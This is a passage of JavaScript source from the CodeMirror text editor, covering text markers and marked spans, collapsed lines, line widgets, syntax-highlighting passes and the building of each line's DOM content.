  SharedTextMarker.prototype.find = function(side, lineObj) {
    return this.primary.find(side, lineObj);
  };

  function markTextShared(doc, from, to, options, type) {
    options = copyObj(options);
    options.shared = false;
    var markers = [markText(doc, from, to, options, type)], primary = markers[0];
    var widget = options.widgetNode;
    linkedDocs(doc, function(doc) {
      if (widget) options.widgetNode = widget.cloneNode(true);
      markers.push(markText(doc, clipPos(doc, from), clipPos(doc, to), options, type));
      for (var i = 0; i < doc.linked.length; ++i)
        if (doc.linked[i].isParent) return;
      primary = lst(markers);
    });
    return new SharedTextMarker(markers, primary);
  }

  function findSharedMarkers(doc) {
    return doc.findMarks(Pos(doc.first, 0), doc.clipPos(Pos(doc.lastLine())),
                         function(m) { return m.parent; });
  }

  function copySharedMarkers(doc, markers) {
    for (var i = 0; i < markers.length; i++) {
      var marker = markers[i], pos = marker.find();
      var mFrom = doc.clipPos(pos.from), mTo = doc.clipPos(pos.to);
      if (cmp(mFrom, mTo)) {
        var subMark = markText(doc, mFrom, mTo, marker.primary, marker.primary.type);
        marker.markers.push(subMark);
        subMark.parent = marker;
      }
    }
  }

  function detachSharedMarkers(markers) {
    for (var i = 0; i < markers.length; i++) {
      var marker = markers[i], linked = [marker.primary.doc];;
      linkedDocs(marker.primary.doc, function(d) { linked.push(d); });
      for (var j = 0; j < marker.markers.length; j++) {
        var subMarker = marker.markers[j];
        if (indexOf(linked, subMarker.doc) == -1) {
          subMarker.parent = null;
          marker.markers.splice(j--, 1);
        }
      }
    }
  }

  // TEXTMARKER SPANS

  function MarkedSpan(marker, from, to) {
    this.marker = marker;
    this.from = from; this.to = to;
  }

  // Search an array of spans for a span matching the given marker.
  function getMarkedSpanFor(spans, marker) {
    if (spans) for (var i = 0; i < spans.length; ++i) {
      var span = spans[i];
      if (span.marker == marker) return span;
    }
  }
  // Remove a span from an array, returning undefined if no spans are
  // left (we don't store arrays for lines without spans).
  function removeMarkedSpan(spans, span) {
    for (var r, i = 0; i < spans.length; ++i)
      if (spans[i] != span) (r || (r = [])).push(spans[i]);
    return r;
  }
  // Add a span to a line.
  function addMarkedSpan(line, span) {
    line.markedSpans = line.markedSpans ? line.markedSpans.concat([span]) : [span];
    span.marker.attachLine(line);
  }

  // Used for the algorithm that adjusts markers for a change in the
  // document. These functions cut an array of spans at a given
  // character position, returning an array of remaining chunks (or
  // undefined if nothing remains).
  function markedSpansBefore(old, startCh, isInsert) {
    if (old) for (var i = 0, nw; i < old.length; ++i) {
      var span = old[i], marker = span.marker;
      var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= startCh : span.from < startCh);
      if (startsBefore || span.from == startCh && marker.type == "bookmark" && (!isInsert || !span.marker.insertLeft)) {
        var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= startCh : span.to > startCh);
        (nw || (nw = [])).push(new MarkedSpan(marker, span.from, endsAfter ? null : span.to));
      }
    }
    return nw;
  }
  function markedSpansAfter(old, endCh, isInsert) {
    if (old) for (var i = 0, nw; i < old.length; ++i) {
      var span = old[i], marker = span.marker;
      var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= endCh : span.to > endCh);
      if (endsAfter || span.from == endCh && marker.type == "bookmark" && (!isInsert || span.marker.insertLeft)) {
        var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= endCh : span.from < endCh);
        (nw || (nw = [])).push(new MarkedSpan(marker, startsBefore ? null : span.from - endCh,
                                              span.to == null ? null : span.to - endCh));
      }
    }
    return nw;
  }

  // Given a change object, compute the new set of marker spans that
  // cover the line in which the change took place. Removes spans
  // entirely within the change, reconnects spans belonging to the
  // same marker that appear on both sides of the change, and cuts off
  // spans partially within the change. Returns an array of span
  // arrays with one element for each line in (after) the change.
  function stretchSpansOverChange(doc, change) {
    if (change.full) return null;
    var oldFirst = isLine(doc, change.from.line) && getLine(doc, change.from.line).markedSpans;
    var oldLast = isLine(doc, change.to.line) && getLine(doc, change.to.line).markedSpans;
    if (!oldFirst && !oldLast) return null;

    var startCh = change.from.ch, endCh = change.to.ch, isInsert = cmp(change.from, change.to) == 0;
    // Get the spans that 'stick out' on both sides
    var first = markedSpansBefore(oldFirst, startCh, isInsert);
    var last = markedSpansAfter(oldLast, endCh, isInsert);

    // Next, merge those two ends
    var sameLine = change.text.length == 1, offset = lst(change.text).length + (sameLine ? startCh : 0);
    if (first) {
      // Fix up .to properties of first
      for (var i = 0; i < first.length; ++i) {
        var span = first[i];
        if (span.to == null) {
          var found = getMarkedSpanFor(last, span.marker);
          if (!found) span.to = startCh;
          else if (sameLine) span.to = found.to == null ? null : found.to + offset;
        }
      }
    }
    if (last) {
      // Fix up .from in last (or move them into first in case of sameLine)
      for (var i = 0; i < last.length; ++i) {
        var span = last[i];
        if (span.to != null) span.to += offset;
        if (span.from == null) {
          var found = getMarkedSpanFor(first, span.marker);
          if (!found) {
            span.from = offset;
            if (sameLine) (first || (first = [])).push(span);
          }
        } else {
          span.from += offset;
          if (sameLine) (first || (first = [])).push(span);
        }
      }
    }
    // Make sure we didn't create any zero-length spans
    if (first) first = clearEmptySpans(first);
    if (last && last != first) last = clearEmptySpans(last);

    var newMarkers = [first];
    if (!sameLine) {
      // Fill gap with whole-line-spans
      var gap = change.text.length - 2, gapMarkers;
      if (gap > 0 && first)
        for (var i = 0; i < first.length; ++i)
          if (first[i].to == null)
            (gapMarkers || (gapMarkers = [])).push(new MarkedSpan(first[i].marker, null, null));
      for (var i = 0; i < gap; ++i)
        newMarkers.push(gapMarkers);
      newMarkers.push(last);
    }
    return newMarkers;
  }

  // Remove spans that are empty and don't have a clearWhenEmpty
  // option of false.
  function clearEmptySpans(spans) {
    for (var i = 0; i < spans.length; ++i) {
      var span = spans[i];
      if (span.from != null && span.from == span.to && span.marker.clearWhenEmpty !== false)
        spans.splice(i--, 1);
    }
    if (!spans.length) return null;
    return spans;
  }

  // Used for un/re-doing changes from the history. Combines the
  // result of computing the existing spans with the set of spans that
  // existed in the history (so that deleting around a span and then
  // undoing brings back the span).
  function mergeOldSpans(doc, change) {
    var old = getOldSpans(doc, change);
    var stretched = stretchSpansOverChange(doc, change);
    if (!old) return stretched;
    if (!stretched) return old;

    for (var i = 0; i < old.length; ++i) {
      var oldCur = old[i], stretchCur = stretched[i];
      if (oldCur && stretchCur) {
        spans: for (var j = 0; j < stretchCur.length; ++j) {
          var span = stretchCur[j];
          for (var k = 0; k < oldCur.length; ++k)
            if (oldCur[k].marker == span.marker) continue spans;
          oldCur.push(span);
        }
      } else if (stretchCur) {
        old[i] = stretchCur;
      }
    }
    return old;
  }

  // Used to 'clip' out readOnly ranges when making a change.
  function removeReadOnlyRanges(doc, from, to) {
    var markers = null;
    doc.iter(from.line, to.line + 1, function(line) {
      if (line.markedSpans) for (var i = 0; i < line.markedSpans.length; ++i) {
        var mark = line.markedSpans[i].marker;
        if (mark.readOnly && (!markers || indexOf(markers, mark) == -1))
          (markers || (markers = [])).push(mark);
      }
    });
    if (!markers) return null;
    var parts = [{from: from, to: to}];
    for (var i = 0; i < markers.length; ++i) {
      var mk = markers[i], m = mk.find(0);
      for (var j = 0; j < parts.length; ++j) {
        var p = parts[j];
        if (cmp(p.to, m.from) < 0 || cmp(p.from, m.to) > 0) continue;
        var newParts = [j, 1], dfrom = cmp(p.from, m.from), dto = cmp(p.to, m.to);
        if (dfrom < 0 || !mk.inclusiveLeft && !dfrom)
          newParts.push({from: p.from, to: m.from});
        if (dto > 0 || !mk.inclusiveRight && !dto)
          newParts.push({from: m.to, to: p.to});
        parts.splice.apply(parts, newParts);
        j += newParts.length - 1;
      }
    }
    return parts;
  }

  // Connect or disconnect spans from a line.
  function detachMarkedSpans(line) {
    var spans = line.markedSpans;
    if (!spans) return;
    for (var i = 0; i < spans.length; ++i)
      spans[i].marker.detachLine(line);
    line.markedSpans = null;
  }
  function attachMarkedSpans(line, spans) {
    if (!spans) return;
    for (var i = 0; i < spans.length; ++i)
      spans[i].marker.attachLine(line);
    line.markedSpans = spans;
  }

  // Helpers used when computing which overlapping collapsed span
  // counts as the larger one.
  function extraLeft(marker) { return marker.inclusiveLeft ? -1 : 0; }
  function extraRight(marker) { return marker.inclusiveRight ? 1 : 0; }

  // Returns a number indicating which of two overlapping collapsed
  // spans is larger (and thus includes the other). Falls back to
  // comparing ids when the spans cover exactly the same range.
  function compareCollapsedMarkers(a, b) {
    var lenDiff = a.lines.length - b.lines.length;
    if (lenDiff != 0) return lenDiff;
    var aPos = a.find(), bPos = b.find();
    var fromCmp = cmp(aPos.from, bPos.from) || extraLeft(a) - extraLeft(b);
    if (fromCmp) return -fromCmp;
    var toCmp = cmp(aPos.to, bPos.to) || extraRight(a) - extraRight(b);
    if (toCmp) return toCmp;
    return b.id - a.id;
  }

  // Find out whether a line ends or starts in a collapsed span. If
  // so, return the marker for that span.
  function collapsedSpanAtSide(line, start) {
    var sps = sawCollapsedSpans && line.markedSpans, found;
    if (sps) for (var sp, i = 0; i < sps.length; ++i) {
      sp = sps[i];
      if (sp.marker.collapsed && (start ? sp.from : sp.to) == null &&
          (!found || compareCollapsedMarkers(found, sp.marker) < 0))
        found = sp.marker;
    }
    return found;
  }
  function collapsedSpanAtStart(line) { return collapsedSpanAtSide(line, true); }
  function collapsedSpanAtEnd(line) { return collapsedSpanAtSide(line, false); }

  // Test whether there exists a collapsed span that partially
  // overlaps (covers the start or end, but not both) of a new span.
  // Such overlap is not allowed.
  function conflictingCollapsedRange(doc, lineNo, from, to, marker) {
    var line = getLine(doc, lineNo);
    var sps = sawCollapsedSpans && line.markedSpans;
    if (sps) for (var i = 0; i < sps.length; ++i) {
      var sp = sps[i];
      if (!sp.marker.collapsed) continue;
      var found = sp.marker.find(0);
      var fromCmp = cmp(found.from, from) || extraLeft(sp.marker) - extraLeft(marker);
      var toCmp = cmp(found.to, to) || extraRight(sp.marker) - extraRight(marker);
      if (fromCmp >= 0 && toCmp <= 0 || fromCmp <= 0 && toCmp >= 0) continue;
      if (fromCmp <= 0 && (cmp(found.to, from) > 0 || (sp.marker.inclusiveRight && marker.inclusiveLeft)) ||
          fromCmp >= 0 && (cmp(found.from, to) < 0 || (sp.marker.inclusiveLeft && marker.inclusiveRight)))
        return true;
    }
  }

  // A visual line is a line as drawn on the screen. Folding, for
  // example, can cause multiple logical lines to appear on the same
  // visual line. This finds the start of the visual line that the
  // given line is part of (usually that is the line itself).
  function visualLine(line) {
    var merged;
    while (merged = collapsedSpanAtStart(line))
      line = merged.find(-1, true).line;
    return line;
  }

  // Returns an array of logical lines that continue the visual line
  // started by the argument, or undefined if there are no such lines.
  function visualLineContinued(line) {
    var merged, lines;
    while (merged = collapsedSpanAtEnd(line)) {
      line = merged.find(1, true).line;
      (lines || (lines = [])).push(line);
    }
    return lines;
  }

  // Get the line number of the start of the visual line that the
  // given line number is part of.
  function visualLineNo(doc, lineN) {
    var line = getLine(doc, lineN), vis = visualLine(line);
    if (line == vis) return lineN;
    return lineNo(vis);
  }
  // Get the line number of the start of the next visual line after
  // the given line.
  function visualLineEndNo(doc, lineN) {
    if (lineN > doc.lastLine()) return lineN;
    var line = getLine(doc, lineN), merged;
    if (!lineIsHidden(doc, line)) return lineN;
    while (merged = collapsedSpanAtEnd(line))
      line = merged.find(1, true).line;
    return lineNo(line) + 1;
  }

  // Compute whether a line is hidden. Lines count as hidden when they
  // are part of a visual line that starts with another line, or when
  // they are entirely covered by collapsed, non-widget span.
  function lineIsHidden(doc, line) {
    var sps = sawCollapsedSpans && line.markedSpans;
    if (sps) for (var sp, i = 0; i < sps.length; ++i) {
      sp = sps[i];
      if (!sp.marker.collapsed) continue;
      if (sp.from == null) return true;
      if (sp.marker.widgetNode) continue;
      if (sp.from == 0 && sp.marker.inclusiveLeft && lineIsHiddenInner(doc, line, sp))
        return true;
    }
  }
  function lineIsHiddenInner(doc, line, span) {
    if (span.to == null) {
      var end = span.marker.find(1, true);
      return lineIsHiddenInner(doc, end.line, getMarkedSpanFor(end.line.markedSpans, span.marker));
    }
    if (span.marker.inclusiveRight && span.to == line.text.length)
      return true;
    for (var sp, i = 0; i < line.markedSpans.length; ++i) {
      sp = line.markedSpans[i];
      if (sp.marker.collapsed && !sp.marker.widgetNode && sp.from == span.to &&
          (sp.to == null || sp.to != span.from) &&
          (sp.marker.inclusiveLeft || span.marker.inclusiveRight) &&
          lineIsHiddenInner(doc, line, sp)) return true;
    }
  }

  // LINE WIDGETS

  // Line widgets are block elements displayed above or below a line.

  var LineWidget = CodeMirror.LineWidget = function(doc, node, options) {
    if (options) for (var opt in options) if (options.hasOwnProperty(opt))
      this[opt] = options[opt];
    this.doc = doc;
    this.node = node;
  };
  eventMixin(LineWidget);

  function adjustScrollWhenAboveVisible(cm, line, diff) {
    if (heightAtLine(line) < ((cm.curOp && cm.curOp.scrollTop) || cm.doc.scrollTop))
      addToScrollPos(cm, null, diff);
  }

  LineWidget.prototype.clear = function() {
    var cm = this.doc.cm, ws = this.line.widgets, line = this.line, no = lineNo(line);
    if (no == null || !ws) return;
    for (var i = 0; i < ws.length; ++i) if (ws[i] == this) ws.splice(i--, 1);
    if (!ws.length) line.widgets = null;
    var height = widgetHeight(this);
    updateLineHeight(line, Math.max(0, line.height - height));
    if (cm) runInOp(cm, function() {
      adjustScrollWhenAboveVisible(cm, line, -height);
      regLineChange(cm, no, "widget");
    });
  };
  LineWidget.prototype.changed = function() {
    var oldH = this.height, cm = this.doc.cm, line = this.line;
    this.height = null;
    var diff = widgetHeight(this) - oldH;
    if (!diff) return;
    updateLineHeight(line, line.height + diff);
    if (cm) runInOp(cm, function() {
      cm.curOp.forceUpdate = true;
      adjustScrollWhenAboveVisible(cm, line, diff);
    });
  };

  function widgetHeight(widget) {
    if (widget.height != null) return widget.height;
    var cm = widget.doc.cm;
    if (!cm) return 0;
    if (!contains(document.body, widget.node)) {
      var parentStyle = "position: relative;";
      if (widget.coverGutter)
        parentStyle += "margin-left: -" + cm.display.gutters.offsetWidth + "px;";
      if (widget.noHScroll)
        parentStyle += "width: " + cm.display.wrapper.clientWidth + "px;";
      removeChildrenAndAdd(cm.display.measure, elt("div", [widget.node], null, parentStyle));
    }
    return widget.height = widget.node.offsetHeight;
  }

  function addLineWidget(doc, handle, node, options) {
    var widget = new LineWidget(doc, node, options);
    var cm = doc.cm;
    if (cm && widget.noHScroll) cm.display.alignWidgets = true;
    changeLine(doc, handle, "widget", function(line) {
      var widgets = line.widgets || (line.widgets = []);
      if (widget.insertAt == null) widgets.push(widget);
      else widgets.splice(Math.min(widgets.length - 1, Math.max(0, widget.insertAt)), 0, widget);
      widget.line = line;
      if (cm && !lineIsHidden(doc, line)) {
        var aboveVisible = heightAtLine(line) < doc.scrollTop;
        updateLineHeight(line, line.height + widgetHeight(widget));
        if (aboveVisible) addToScrollPos(cm, null, widget.height);
        cm.curOp.forceUpdate = true;
      }
      return true;
    });
    return widget;
  }

  // LINE DATA STRUCTURE

  // Line objects. These hold state related to a line, including
  // highlighting info (the styles array).
  var Line = CodeMirror.Line = function(text, markedSpans, estimateHeight) {
    this.text = text;
    attachMarkedSpans(this, markedSpans);
    this.height = estimateHeight ? estimateHeight(this) : 1;
  };
  eventMixin(Line);
  Line.prototype.lineNo = function() { return lineNo(this); };

  // Change the content (text, markers) of a line. Automatically
  // invalidates cached information and tries to re-estimate the
  // line's height.
  function updateLine(line, text, markedSpans, estimateHeight) {
    line.text = text;
    if (line.stateAfter) line.stateAfter = null;
    if (line.styles) line.styles = null;
    if (line.order != null) line.order = null;
    detachMarkedSpans(line);
    attachMarkedSpans(line, markedSpans);
    var estHeight = estimateHeight ? estimateHeight(line) : 1;
    if (estHeight != line.height) updateLineHeight(line, estHeight);
  }

  // Detach a line from the document tree and its markers.
  function cleanUpLine(line) {
    line.parent = null;
    detachMarkedSpans(line);
  }

  function extractLineClasses(type, output) {
    if (type) for (;;) {
      var lineClass = type.match(/(?:^|\s+)line-(background-)?(\S+)/);
      if (!lineClass) break;
      type = type.slice(0, lineClass.index) + type.slice(lineClass.index + lineClass[0].length);
      var prop = lineClass[1] ? "bgClass" : "textClass";
      if (output[prop] == null)
        output[prop] = lineClass[2];
      else if (!(new RegExp("(?:^|\s)" + lineClass[2] + "(?:$|\s)")).test(output[prop]))
        output[prop] += " " + lineClass[2];
    }
    return type;
  }

  function callBlankLine(mode, state) {
    if (mode.blankLine) return mode.blankLine(state);
    if (!mode.innerMode) return;
    var inner = CodeMirror.innerMode(mode, state);
    if (inner.mode.blankLine) return inner.mode.blankLine(inner.state);
  }

  function readToken(mode, stream, state, inner) {
    for (var i = 0; i < 10; i++) {
      if (inner) inner[0] = CodeMirror.innerMode(mode, state).mode;
      var style = mode.token(stream, state);
      if (stream.pos > stream.start) return style;
    }
    throw new Error("Mode " + mode.name + " failed to advance stream.");
  }

  // Utility for getTokenAt and getLineTokens
  function takeToken(cm, pos, precise, asArray) {
    function getObj(copy) {
      return {start: stream.start, end: stream.pos,
              string: stream.current(),
              type: style || null,
              state: copy ? copyState(doc.mode, state) : state};
    }

    var doc = cm.doc, mode = doc.mode, style;
    pos = clipPos(doc, pos);
    var line = getLine(doc, pos.line), state = getStateBefore(cm, pos.line, precise);
    var stream = new StringStream(line.text, cm.options.tabSize), tokens;
    if (asArray) tokens = [];
    while ((asArray || stream.pos < pos.ch) && !stream.eol()) {
      stream.start = stream.pos;
      style = readToken(mode, stream, state);
      if (asArray) tokens.push(getObj(true));
    }
    return asArray ? tokens : getObj();
  }

  // Run the given mode's parser over a line, calling f for each token.
  function runMode(cm, text, mode, state, f, lineClasses, forceToEnd) {
    var flattenSpans = mode.flattenSpans;
    if (flattenSpans == null) flattenSpans = cm.options.flattenSpans;
    var curStart = 0, curStyle = null;
    var stream = new StringStream(text, cm.options.tabSize), style;
    var inner = cm.options.addModeClass && [null];
    if (text == "") extractLineClasses(callBlankLine(mode, state), lineClasses);
    while (!stream.eol()) {
      if (stream.pos > cm.options.maxHighlightLength) {
        flattenSpans = false;
        if (forceToEnd) processLine(cm, text, state, stream.pos);
        stream.pos = text.length;
        style = null;
      } else {
        style = extractLineClasses(readToken(mode, stream, state, inner), lineClasses);
      }
      if (inner) {
        var mName = inner[0].name;
        if (mName) style = "m-" + (style ? mName + " " + style : mName);
      }
      if (!flattenSpans || curStyle != style) {
        while (curStart < stream.start) {
          curStart = Math.min(stream.start, curStart + 50000);
          f(curStart, curStyle);
        }
        curStyle = style;
      }
      stream.start = stream.pos;
    }
    while (curStart < stream.pos) {
      // Webkit seems to refuse to render text nodes longer than 57444 characters
      var pos = Math.min(stream.pos, curStart + 50000);
      f(pos, curStyle);
      curStart = pos;
    }
  }

  // Compute a style array (an array starting with a mode generation
  // -- for invalidation -- followed by pairs of end positions and
  // style strings), which is used to highlight the tokens on the
  // line.
  function highlightLine(cm, line, state, forceToEnd) {
    // A styles array always starts with a number identifying the
    // mode/overlays that it is based on (for easy invalidation).
    var st = [cm.state.modeGen], lineClasses = {};
    // Compute the base array of styles
    runMode(cm, line.text, cm.doc.mode, state, function(end, style) {
      st.push(end, style);
    }, lineClasses, forceToEnd);

    // Run overlays, adjust style array.
    for (var o = 0; o < cm.state.overlays.length; ++o) {
      var overlay = cm.state.overlays[o], i = 1, at = 0;
      runMode(cm, line.text, overlay.mode, true, function(end, style) {
        var start = i;
        // Ensure there's a token end at the current position, and that i points at it
        while (at < end) {
          var i_end = st[i];
          if (i_end > end)
            st.splice(i, 1, end, st[i+1], i_end);
          i += 2;
          at = Math.min(end, i_end);
        }
        if (!style) return;
        if (overlay.opaque) {
          st.splice(start, i - start, end, "cm-overlay " + style);
          i = start + 2;
        } else {
          for (; start < i; start += 2) {
            var cur = st[start+1];
            st[start+1] = (cur ? cur + " " : "") + "cm-overlay " + style;
          }
        }
      }, lineClasses);
    }

    return {styles: st, classes: lineClasses.bgClass || lineClasses.textClass ? lineClasses : null};
  }

  function getLineStyles(cm, line, updateFrontier) {
    if (!line.styles || line.styles[0] != cm.state.modeGen) {
      var state = getStateBefore(cm, lineNo(line));
      var result = highlightLine(cm, line, line.text.length > cm.options.maxHighlightLength ? copyState(cm.doc.mode, state) : state);
      line.stateAfter = state;
      line.styles = result.styles;
      if (result.classes) line.styleClasses = result.classes;
      else if (line.styleClasses) line.styleClasses = null;
      if (updateFrontier === cm.doc.frontier) cm.doc.frontier++;
    }
    return line.styles;
  }

  // Lightweight form of highlight -- proceed over this line and
  // update state, but don't save a style array. Used for lines that
  // aren't currently visible.
  function processLine(cm, text, state, startAt) {
    var mode = cm.doc.mode;
    var stream = new StringStream(text, cm.options.tabSize);
    stream.start = stream.pos = startAt || 0;
    if (text == "") callBlankLine(mode, state);
    while (!stream.eol()) {
      readToken(mode, stream, state);
      stream.start = stream.pos;
    }
  }

  // Convert a style as returned by a mode (either null, or a string
  // containing one or more styles) to a CSS style. This is cached,
  // and also looks for line-wide styles.
  var styleToClassCache = {}, styleToClassCacheWithMode = {};
  function interpretTokenStyle(style, options) {
    if (!style || /^\s*$/.test(style)) return null;
    var cache = options.addModeClass ? styleToClassCacheWithMode : styleToClassCache;
    return cache[style] ||
      (cache[style] = style.replace(/\S+/g, "cm-$&"));
  }

  // Render the DOM representation of the text of a line. Also builds
  // up a 'line map', which points at the DOM nodes that represent
  // specific stretches of text, and is used by the measuring code.
  // The returned object contains the DOM node, this map, and
  // information about line-wide styles that were set by the mode.
  function buildLineContent(cm, lineView) {
    // The padding-right forces the element to have a 'border', which
    // is needed on Webkit to be able to get line-level bounding
    // rectangles for it (in measureChar).
    var content = elt("span", null, null, webkit ? "padding-right: .1px" : null);
    var builder = {pre: elt("pre", [content], "CodeMirror-line"), content: content,
                   col: 0, pos: 0, cm: cm,
                   splitSpaces: (ie || webkit) && cm.getOption("lineWrapping")};
    lineView.measure = {};

    // Iterate over the logical lines that make up this visual line.
    for (var i = 0; i <= (lineView.rest ? lineView.rest.length : 0); i++) {
      var line = i ? lineView.rest[i - 1] : lineView.line, order;
      builder.pos = 0;
      builder.addToken = buildToken;
      // Optionally wire in some hacks into the token-rendering
      // algorithm, to deal with browser quirks.
      if (hasBadBidiRects(cm.display.measure) && (order = getOrder(line)))
        builder.addToken = buildTokenBadBidi(builder.addToken, order);
      builder.map = [];
      var allowFrontierUpdate = lineView != cm.display.externalMeasured && lineNo(line);
      insertLineContent(line, builder, getLineStyles(cm, line, allowFrontierUpdate));
      if (line.styleClasses) {
        if (line.styleClasses.bgClass)
          builder.bgClass = joinClasses(line.styleClasses.bgClass, builder.bgClass || "");
        if (line.styleClasses.textClass)
          builder.textClass = joinClasses(line.styleClasses.textClass, builder.textClass || "");
      }

      // Ensure at least a single node is present, for measuring.
      if (builder.map.length == 0)
        builder.map.push(0, 0, builder.content.appendChild(zeroWidthElement(cm.display.measure)));

      // Store the map and a cache object for the current logical line
      if (i == 0) {
        lineView.measure.map = builder.map;
        lineView.measure.cache = {};
      } else {
        (lineView.measure.maps || (lineView.measure.maps = [])).push(builder.map);
        (lineView.measure.caches || (lineView.measure.caches = [])).push({});
      }
    }

    // See issue #2901
    if (webkit && /\bcm-tab\b/.test(builder.content.lastChild.className))
      builder.content.className = "cm-tab-wrap-hack";

    signal(cm, "renderLine", cm, lineView.line, builder.pre);
    if (builder.pre.className)
      builder.textClass = joinClasses(builder.pre.className, builder.textClass || "");

    return builder;
  }

  function defaultSpecialCharPlaceholder(ch) {
    var token = elt("span", "\u2022", "cm-invalidchar");
    token.title = "\\u" + ch.charCodeAt(0).toString(16);
    token.setAttribute("aria-label", token.title);
    return token;
  }

  // Build up the DOM representation for a single token, and add it to
  // the line map. Takes care to render special characters separately.
  function buildToken(builder, text, style, startStyle, endStyle, title, css) {
    if (!text) return;
    var displayText = builder.splitSpaces ? text.replace(/ {3,}/g, splitSpaces) : text;
    var special = builder.cm.state.specialChars, mustWrap = false;
    if (!special.test(text)) {
      builder.col += text.length;
      var content = document.createTextNode(displayText);
      builder.map.push(builder.pos, builder.pos + text.length, content);
      if (ie && ie_version < 9) mustWrap = true;
      builder.pos += text.length;
    } else {
      var content = document.createDocumentFragment(), pos = 0;
      while (true) {
        special.lastIndex = pos;
        var m = special.exec(text);
        var skipped = m ? m.index - pos : text.length - pos;
        if (skipped) {
          var txt = document.createTextNode(displayText.slice(pos, pos + skipped));
          if (ie && ie_version < 9) content.appendChild(elt("span", [txt]));
          else content.appendChild(txt);
          builder.map.push(builder.pos, builder.pos + skipped, txt);
          builder.col += skipped;
          builder.pos += skipped;
        }
        if (!m) break;
        pos += skipped + 1;
        if (m[0] == "\t") {
          var tabSize = builder.cm.options.tabSize, tabWidth = tabSize - builder.col % tabSize;
          var txt = content.appendChild(elt("span", spaceStr(tabWidth), "cm-tab"));
          txt.setAttribute("role", "presentation");
          txt.setAttribute("cm-text", "\t");
          builder.col += tabWidth;
        } else if (m[0] == "\r" || m[0] == "\n") {
          var txt = content.appendChild(elt("span", m[0] == "\r" ? "\u240d" : "\u2424", "cm-invalidchar"));
          txt.setAttribute("cm-text", m[0]);
          builder.col += 1;
        } else {
          var txt = builder.cm.options.specialCharPlaceholder(m[0]);
          txt.setAttribute("cm-text", m[0]);
          if (ie && ie_version < 9) content.appendChild(elt("span", [txt]));
          else content.appendChild(txt);
          builder.col += 1;
        }
        builder.map.push(builder.pos, builder.pos + 1, txt);
        builder.pos++;
      }
    }
    if (style || startStyle || endStyle || mustWrap || css) {
      var fullStyle = style || "";
      if (startStyle) fullStyle += startStyle;
      if (endStyle) fullStyle += endStyle;
      var token = elt("span", [content], fullStyle, css);
      if (title) token.title = title;
      return builder.content.appendChild(token);
    }
    builder.content.appendChild(content);
  }

  function splitSpaces(old) {
    var out = " ";
    for (var i = 0; i < old.length - 2; ++i) out += i % 2 ? " " : "\u00a0";
    out += " ";
    return out;
  }

  // Work around nonsense dimensions being reported for stretches of
  // right-to-left text.
  function buildTokenBadBidi(inner, order) {
    return function(builder, text, style, startStyle, endStyle, title, css) {
      style = style ? style + " cm-force-border" : "cm-force-border";
      var start = builder.pos, end = start + text.length;
      for (;;) {
        // Find the part that overlaps with the start of this text
        for (var i = 0; i < order.length; i++) {
          var part = order[i];
          if (part.to > start && part.from <= start) break;
        }
        if (part.to >= end) return inner(builder, text, style, startStyle, endStyle, title, css);
        inner(builder, text.slice(0, part.to - start), style, startStyle, null, title, css);
        startStyle = null;
        text = text.slice(part.to - start);
        start = part.to;
      }
    };
  }

  function buildCollapsedSpan(builder, size, marker, ignoreWidget) {
    var widget = !ignoreWidget && marker.widgetNode;
    if (widget) builder.map.push(builder.pos, builder.pos + size, widget);
    if (!ignoreWidget && builder.cm.display.input.needsContentAttribute) {
      if (!widget)
        widget = builder.content.appendChild(document.createElement("span"));
      widget.setAttribute("cm-marker", marker.id);
    }
    if (widget) {
      builder.cm.display.input.setUneditable(widget);
      builder.content.appendChild(widget);
    }
    builder.pos += size;
  }

  // Outputs a number of spans to make up a line, taking highlighting
  // and marked text into account.
  function insertLineContent(line, builder, styles) {
    var spans = line.markedSpans, allText = line.text, at = 0;
    if (!spans) {
      for (var i = 1; i < styles.length; i+=2)
        builder.addToken(builder, allText.slice(at, at = styles[i]), interpretTokenStyle(styles[i+1], builder.cm.options));
      return;
    }

    var len = allText.length, pos = 0, i = 1, text = "", style, css;
    var nextChange = 0, spanStyle, spanEndStyle, spanStartStyle, title, collapsed;
    for (;;) {
      if (nextChange == pos) { // Update current marker set
        spanStyle = spanEndStyle = spanStartStyle = title = css = "";
        collapsed = null; nextChange = Infinity;
        var foundBookmarks = [];
        for (var j = 0; j < spans.length; ++j) {
          var sp = spans[j], m = sp.marker;
          if (m.type == "bookmark" && sp.from == pos && m.widgetNode) {
            foundBookmarks.push(m);
          } else if (sp.from <= pos && (sp.to == null || sp.to > pos || m.collapsed && sp.to == pos && sp.from == pos)) {
            if (sp.to != null && sp.to != pos && nextChange > sp.to) {
              nextChange = sp.to;
              spanEndStyle = "";
            }
            if (m.className) spanStyle += " " + m.className;
            if (m.css) css = (css ? css + ";" : "") + m.css;
            if (m.startStyle && sp.from == pos) spanStartStyle += " " + m.startStyle;
            if (m.endStyle && sp.to == nextChange) spanEndStyle += " " + m.endStyle;
            if (m.title && !title) title = m.title;
            if (m.collapsed && (!collapsed || compareCollapsedMarkers(collapsed.marker, m) < 0))
              collapsed = sp;
          } else if (sp.from > pos && nextChange > sp.from) {
            nextChange = sp.from;
          }
        }
        if (collapsed && (collapsed.from || 0) == pos) {
          buildCollapsedSpan(builder, (collapsed.to == null ? len + 1 : collapsed.to) - pos,
                             collapsed.marker, collapsed.from == null);
          if (collapsed.to == null) return;
          if (collapsed.to == pos) collapsed = false;
        }
        if (!collapsed && foundBookmarks.length) for (var j = 0; j < foundBookmarks.length; ++j)
          buildCollapsedSpan(builder, 0, foundBookmarks[j]);
      }
      if (pos >= len) break;

      var upto = Math.min(len, nextChange);
      while (true) {
        if (text) {
          var end = pos + text.length;
          if (!collapsed) {
            var tokenText = end > upto ? text.slice(0, upto - pos) : text;
            builder.addToken(builder, tokenText, style ? style + spanStyle : spanStyle,
                             spanStartStyle, pos + tokenText.length == nextChange ? spanEndStyle : "", title, css);
          }
          if (end >= upto) {text = text.slice(upto - pos); pos = upto; break;}
          pos = end;
          spanStartStyle = "";
        }
        text = allText.slice(at, at = styles[i++]);
        style = interpretTokenStyle(styles[i++], builder.cm.options);
      }
    }
  }

  // DOCUMENT DATA STRUCTURE

  // By default, updates that start and end at the beginning of a line
  // are treated specially, in order to make the association of line
  // widgets and marker elements with the text behave more intuitive.
  function isWholeLineUpdate(doc, change) {
    return change.from.ch == 0 && change.to.ch == 0 && lst(change.text) == "" &&
      (!doc.cm || doc.cm.options.wholeLineUpdateBefore);
  }

  // Perform a change on the document data structure.
